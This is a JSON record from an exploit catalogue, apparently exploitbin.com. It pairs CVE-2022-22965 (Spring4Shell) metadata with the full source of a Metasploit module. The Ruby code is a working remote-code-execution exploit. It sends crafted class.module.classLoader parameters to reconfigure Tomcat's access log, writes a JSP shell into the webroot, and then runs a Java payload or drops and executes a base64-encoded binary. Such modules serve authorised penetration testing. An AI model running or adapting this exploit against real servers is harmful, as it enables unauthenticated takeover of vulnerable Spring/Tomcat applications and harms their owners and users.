{"exploit":{"id":"MSF-multi--http--spring_framework_rce_spring4shell","name":"Spring Framework Class property RCE (Spring4Shell)","description":"Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions when running on JDK 9 or above and specifically packaged as a traditional WAR and deployed in a standalone Tomcat instance are vulnerable to remote code execution due to an unsafe data binding used to populate an object from request parameters to set a Tomcat specific ClassLoader. By crafting a request to the application and referencing the org.apache.catalina.valves.AccessLogValve class through the classLoader with parameters such as the following: class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp, an unauthenticated attacker can gain remote code execution.","cves":["CVE-2022-22965"],"author":"vleminator","published":"2022-03-31","platform":"Linux,Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/spring_framework_rce_spring4shell.rb","path":"modules/exploits/multi/http/spring_framework_rce_spring4shell.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"spring_framework_rce_spring4shell.rb","vulnerabilities":[{"id":"CVE-2022-22965","state":"PUBLISHED","title":null,"titleSource":null,"description":"A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2022-22965","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2022-22965"},"updatedAt":"2025-10-21T23:15:42.792Z","retrievedAt":"2026-11-25T16:13:33.581Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--spring_framework_rce_spring4shell.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--spring_framework_rce_spring4shell","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--spring_framework_rce_spring4shell/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--spring_framework_rce_spring4shell/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n  Rank = ManualRanking # It's going to manipulate the Class Loader\n\n  prepend Msf::Exploit::Remote::AutoCheck\n  include Msf::Exploit::Retry\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::FileDropper\n  include Msf::Exploit::EXE\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Spring Framework Class property RCE (Spring4Shell)',\n        'Description' => %q{\n          Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions when running on JDK 9 or above\n          and specifically packaged as a traditional WAR and deployed in a standalone Tomcat instance are vulnerable\n          to remote code execution due to an unsafe data binding used to populate an object from request parameters\n          to set a Tomcat specific ClassLoader. By crafting a request to the application and referencing the\n          org.apache.catalina.valves.AccessLogValve class through the classLoader with parameters such as the following:\n          class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp, an unauthenticated attacker can\n          gain remote code execution.\n        },\n        'Author' => [\n          'vleminator <vleminator[at]gmail.com>'\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2022-22965'],\n          ['URL', 'https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement'],\n          ['URL', 'https://github.com/spring-projects/spring-framework/issues/28261'],\n          ['URL', 'https://tanzu.vmware.com/security/cve-2022-22965']\n        ],\n        'Payload' => {\n          'Space' => 5000,\n          'DisableNops' => true\n        },\n        'Targets' => [\n          [\n            'Java',\n            {\n              'Arch' => ARCH_JAVA,\n              'Platform' => %w[linux win]\n            },\n          ],\n          [\n            'Linux',\n            {\n              'Arch' => [ARCH_X86, ARCH_X64],\n              'Platform' => 'linux'\n            }\n          ],\n          [\n            'Windows',\n            {\n              'Arch' => [ARCH_X86, ARCH_X64],\n              'Platform' => 'win'\n            }\n          ]\n        ],\n        'DisclosureDate' => '2022-03-31',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'AKA' => ['Spring4Shell', 'SpringShell'],\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(8080),\n        OptString.new('TARGETURI', [ true, 'The path to the application action', '/app/example/HelloWorld.action']),\n        OptString.new('PAYLOAD_PATH', [true, 'Path to write the payload', 'webapps/ROOT']),\n        OptEnum.new('HTTP_METHOD', [false, 'HTTP method to use', 'Automatic', ['Automatic', 'GET', 'POST']]),\n      ]\n    )\n    register_advanced_options [\n      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])\n    ]\n  end\n\n  def jsp_dropper(file, exe)\n    # The sun.misc.BASE64Decoder.decodeBuffer API is no longer available in Java 9.\n    dropper = <<~EOS\n      <%@ page import=\\\"java.io.FileOutputStream\\\" %>\n      <%@ page import=\\\"java.util.Base64\\\" %>\n      <%@ page import=\\\"java.io.File\\\" %>\n      <%\n        FileOutputStream oFile = new FileOutputStream(\\\"#{file}\\\", false);\n        oFile.write(Base64.getDecoder().decode(\\\"#{Rex::Text.encode_base64(exe)}\\\"));\n        oFile.flush();\n        oFile.close();\n        File f = new File(\\\"#{file}\\\");\n        f.setExecutable(true);\n        Runtime.getRuntime().exec(\\\"#{file}\\\");\n      %>\n    EOS\n\n    dropper\n  end\n\n  def modify_class_loader(method, opts)\n    cl_prefix = 'class.module.classLoader'\n\n    send_request_cgi({\n      'uri' => normalize_uri(target_uri.path.to_s),\n      'version' => '1.1',\n      'method' => method,\n      'headers' => {\n        'c1' => '<%', # %{c1}i replacement in payload\n        'c2' => '%>' # %{c2}i replacement in payload\n      },\n      \"vars_#{method == 'GET' ? 'get' : 'post'}\" => {\n        \"#{cl_prefix}.resources.context.parent.pipeline.first.pattern\" => opts[:payload],\n        \"#{cl_prefix}.resources.context.parent.pipeline.first.directory\" => opts[:directory],\n        \"#{cl_prefix}.resources.context.parent.pipeline.first.prefix\" => opts[:prefix],\n        \"#{cl_prefix}.resources.context.parent.pipeline.first.suffix\" => opts[:suffix],\n        \"#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat\" => opts[:file_date_format]\n      }\n    })\n  end\n\n  def check_log_file\n    print_status(\"#{peer} - Waiting for the server to flush the logfile\")\n    print_status(\"#{peer} - Executing JSP payload at #{full_uri(@jsp_file)}\")\n\n    succeeded = retry_until_truthy(timeout: 60) do\n      res = send_request_cgi({\n        'method' => 'GET',\n        'uri' => normalize_uri(@jsp_file)\n      })\n\n      res&.code == 200 && !res.body.blank?\n    end\n\n    fail_with(Failure::UnexpectedReply, \"Seems the payload hasn't been written\") unless succeeded\n\n    print_good(\"#{peer} - Log file flushed\")\n  end\n\n  # Fix the JSP payload to make it valid once is dropped\n  # to the log file\n  def fix(jsp)\n    output = ''\n    jsp.each_line do |l|\n      if l =~ /<%.*%>/\n        output << l\n      elsif l =~ /<%/\n        next\n      elsif l =~ /%>/\n        next\n      elsif l.chomp.empty?\n        next\n      else\n        output << \"<% #{l.chomp} %>\"\n      end\n    end\n    output\n  end\n\n  def create_jsp\n    jsp = <<~EOS\n      <%\n        File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + \"#{@jsp_file}\");\n        jsp.delete();\n      %>\n      #{Faker::Internet.uuid}\n    EOS\n    if target['Arch'] == ARCH_JAVA\n      jsp << fix(payload.encoded)\n    else\n      payload_exe = generate_payload_exe\n      payload_filename = rand_text_alphanumeric(rand(4..7))\n\n      if target['Platform'] == 'win'\n        payload_path = datastore['WritableDir'] + '\\\\' + payload_filename\n      else\n        payload_path = datastore['WritableDir'] + '/' + payload_filename\n      end\n\n      jsp << jsp_dropper(payload_path, payload_exe)\n      register_files_for_cleanup(payload_path)\n    end\n\n    jsp\n  end\n\n  def check\n    @checkcode = _check\n  end\n\n  def _check\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(Rex::Text.rand_text_alpha_lower(4..6))\n    )\n\n    return CheckCode::Unknown('Web server seems unresponsive') unless res\n\n    if res.headers.key?('Server')\n      res.headers['Server'].match(%r{(.*)/([\\d|.]+)$})\n    else\n      res.body.match(%r{Apache\\s(.*)/([\\d|.]+)})\n    end\n\n    server = Regexp.last_match(1) || nil\n    version = Rex::Version.new(Regexp.last_match(2)) || nil\n\n    return Exploit::CheckCode::Safe('Application does not seem to be running under Tomcat') unless server && server.match(/Tomcat/)\n\n    vprint_status(\"Detected #{server} #{version} running\")\n\n    if datastore['HTTP_METHOD'] == 'Automatic'\n      # prefer POST over get to keep the vars out of the query string if possible\n      methods = %w[POST GET]\n    else\n      methods = [ datastore['HTTP_METHOD'] ]\n    end\n\n    methods.each do |method|\n      vars = \"vars_#{method == 'GET' ? 'get' : 'post'}\"\n      res = send_request_cgi(\n        'method' => method,\n        'uri' => normalize_uri(datastore['TARGETURI']),\n        vars => { 'class.module.classLoader.DefaultAssertionStatus' => Rex::Text.rand_text_alpha_lower(4..6) }\n      )\n\n      # setting the default assertion status to a valid status\n      send_request_cgi(\n        'method' => method,\n        'uri' => normalize_uri(datastore['TARGETURI']),\n        vars => { 'class.module.classLoader.DefaultAssertionStatus' => 'true' }\n      )\n      return Exploit::CheckCode::Appears(details: { method: method }) if res.code == 400\n    end\n\n    Exploit::CheckCode::Safe('The target does not appear to be vulnerable to Spring4Shell')\n  end\n\n  def exploit\n    prefix_jsp = rand_text_alphanumeric(rand(3..5))\n    date_format = rand_text_numeric(rand(1..4))\n    @jsp_file = prefix_jsp + date_format + '.jsp'\n    http_method = datastore['HTTP_METHOD']\n    if http_method == 'Automatic'\n      # if the check was skipped but we need to automatically identify the method, we have to run it here\n      @checkcode = check if @checkcode.nil?\n      http_method = @checkcode.details[:method]\n      fail_with(Failure::BadConfig, 'Failed to automatically identify the HTTP method') if http_method.blank?\n\n      print_good(\"Automatically identified HTTP method: #{http_method}\")\n    end\n\n    # if the check method ran automatically, add a short delay before continuing with exploitation\n    sleep(5) if @checkcode\n\n    # Prepare the JSP\n    print_status(\"#{peer} - Generating JSP...\")\n\n    # rubocop:disable  Style/FormatStringToken\n    jsp = create_jsp.gsub('<%', '%{c1}i').gsub('%>', '%{c2}i')\n    # rubocop:enable  Style/FormatStringToken\n\n    # Modify the Class Loader\n    print_status(\"#{peer} - Modifying Class Loader...\")\n    properties = {\n      payload: jsp,\n      directory: datastore['PAYLOAD_PATH'],\n      prefix: prefix_jsp,\n      suffix: '.jsp',\n      file_date_format: date_format\n    }\n    res = modify_class_loader(http_method, properties)\n    unless res\n      fail_with(Failure::TimeoutExpired, \"#{peer} - No answer\")\n    end\n\n    # No matter what happened, try to 'restore' the Class Loader\n    properties = {\n      payload: '',\n      directory: '',\n      prefix: '',\n      suffix: '',\n      file_date_format: ''\n    }\n\n    modify_class_loader(http_method, properties)\n\n    check_log_file\n\n    handler\n  end\nend\n","sha256":"dd63b940e35507e55e2679ba3f192fcd82c05bfb5fd42e11268413bbacbea7c4","bytes":9788,"fetchedAt":"2026-11-25T16:31:00.159Z","encoding":"utf-8 (display only; download retains original bytes)"}